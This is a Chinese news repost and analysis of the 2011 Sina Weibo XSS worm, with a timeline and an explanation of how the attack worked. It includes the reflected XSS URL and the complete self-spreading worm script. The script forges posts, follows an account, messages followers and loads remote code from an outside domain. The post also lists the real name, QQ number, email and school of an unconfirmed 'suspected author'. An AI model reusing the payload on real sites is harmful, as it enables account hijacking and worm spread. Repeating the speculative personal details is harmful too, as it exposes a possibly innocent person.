新闻:新浪微博“中毒”自动发博文 - 新浪 XSS Worm:https://lcx.cc/post/1522/

新浪微博pm说:基本定位了这次攻击的原因,微博广场页面 weibo.com/pub/star 有XSS漏洞,被植入了恶意JS脚本。初步发现 Chrome 和 Safari 都没中招。IE、Firefox未能幸免。

脚本 http://www.2kt.cn/images/t.js

XSS代码:weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src=//www.病毒地址.cn/images/t.js%3e%3c/script%3e?type=update

攻击原理分析:http://d.pr/Flsl

目前该病毒脚本已经被原作者清空内容,新浪也关闭了t.cn对其的连接。

========================================

病毒作者微博 http://weibo.com/n/hellosamy (已河蟹)
遗照 http://oi52.tinypic.com/zjc5s4.jpg

Domain Name: 2kt.cn
Registrant Organization: 北京新网数码信息技术有限公司
Registrant Name: 张志
Administrative Email: lin5061@gmail.com

疑似病毒作者信息:
I D名:lin5-61
真实姓名:朝森
性别:男
毕业院校及专业:武汉科技大学
职业:写代码(JAVA)
联系方式:QQ46142932

06.28_sina_XSS:

function createXHR(){
 return window.XMLHttpRequest?
 new XMLHttpRequest():
 new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
 xmlHttp = createXHR();
 xmlHttp.open("GET",url,false);
 xmlHttp.send();
 result = xmlHttp.responseText;
 id_arr = '';
 id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
 for(i=0;i<id.length;i++){
  sum = id[i].toString().split('"')[3];
  id_arr += sum + '||';
 }
 return id_arr;
}
function random_msg(){
 link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
 var msgs = [
  '郭美美事件的一些未注意到的细节:',
  '建党大业中穿帮的地方:',
  '让女人心动的100句诗歌:',
  '3D肉团团高清普通话版种子:',
  '这是传说中的神仙眷侣啊:',
  '惊爆!范冰冰艳照真流出了:',
  '杨幂被爆多次被潜规则:',
  '傻仔拿锤子去抢银行:',
  '可以监听别人手机的软件:',
  '个税起征点有望提到4000:'];
 var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
 msg = encodeURIComponent(msg);
 return msg;
}
function post(url,data,sync){
 xmlHttp = createXHR();
    xmlHttp.open("POST",url,sync);
    xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
    xmlHttp.send(data);
}
function publish(){
 url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
 data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
 post(url,data,true);
}
function follow(){
 url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
 data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
 post(url,data,true);
}
function message(){
 url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
 ids = getappkey(url);
 id = ids.split('||');
 for(i=0;i<id.length - 1 & i<5;i++){
  msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
  msg = random_msg();
  msg = encodeURIComponent(msg);
  user = encodeURIComponent(encodeURIComponent(id[i]));
  data = 'content=' + msg + '&name=' + user + '&retcode=';
  post(msgurl,data,false);
 }
}
function main(){
 try{
  publish();
 }
 catch(e){}
 try{
  follow();
 }
 catch(e){}
 try{
  message();
 }
 catch(e){}
}
try{
   x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

  6月28日晚,新浪微博突然出现大范围“中毒”,微博用户中招后会自动向自己的粉丝发送含毒私信和微博,有人点击后会再次中毒,形成恶性循环。

  大量用户自动发送“建党大业中穿帮的地方”、“个税起征点有望提到4000”、“郭美美事件的一些未注意到的细节”、“3D肉团团高清普通话版种子”等带链接的微博与私信,并自动关注一位名为hellosamy的用户。

2011-06-28 06.28_sina_XSS 新浪微薄 XSS Worm 攻击事件始末分析

  一、事件的经过如下:

  20:14,开始有大量带V的认证用户中招转发蠕虫

  20:30,2kt.cn中的病毒页面无法访问

  20:32,新浪微博中hellosamy用户无法访问

  21:02,新浪漏洞修补完毕

  二、 攻击分析

  导致的原因是新浪名人堂部分XSS过滤不严所致:

2011-06-28 06.28_sina_XSS 新浪微薄 XSS Worm 攻击事件始末分析

  下面的脚本被执行了:www.2kt.cn/images/t.js

  一般来说这样的网址会被载入404页面,而这个网址的结果是脚本被执行了。据分析,攻击是反射型XSS, JS脚本不够安全导致的恶意脚本被载入页面。

2011-06-28 06.28_sina_XSS 新浪微薄 XSS Worm 攻击事件始末分析

攻击原理分析图

    攻击者既能发私信,又能发微博,还能评论。而最难的地方,在于如何执行脚本,因为一旦那个页面可移植性脚本,其他的就好做了,简单分析原理:

  1) 所有的攻击都是背后偷偷执行Ajax,通过仿造提交表单来完成发布微博等。

  2) 但这也有一个问题,就是Ajax的跨域,由于Ajax的same domain的要求,无法跨域名执行脚本,厉害的地方在于,在微博中植入了这个脚本,这样就伪造了same domain,可以执行所有的Ajax。以上可以通过post()这个函数看出来,很简单的XHR调用,并没有使用cross domain的技巧。

  3) 发微博:publish(),向weibo.com/mblog/publish.php通过Ajax提交数据,由于是需要登陆的,所以服务器端session还在,直接就可以成功发布微博。

  4) 发私信:发私信多了一个步骤,获取粉丝的user id。其中的关键函数getappkey()可能就是从weibo.com/YOURID/follow页面扒取所有的user id,或者通过API获取到粉丝信息,获取之后然后通过一个for loop语句来发送。

  三、 攻击者是谁?

2011-06-28 06.28_sina_XSS 新浪微薄 XSS Worm 攻击事件始末分析

病毒作者微博

  通过whois查询,2kt.cn的域名拥有者信息如下:

  Domain Name: 2kt.cn

  Registrant Organization: 北京新网数码信息技术有限公司

  Registrant Name: 张志

  hellosamy这不是一个简单的昵称,samy是有名的通过SNS的XSS攻击传播的病毒,最初在mySpace上面进行传播。说明攻击者对于网络安全领域有一定的“功力”,攻击方式和之前的人人网的攻击有些区别,人人网是只要打开私信就会「中毒」,更严重。这次攻击如果打开私信是没问题的,如果警觉的话,不去点击那个链接,也不会中招。严重程度稍微低于人人网的攻击。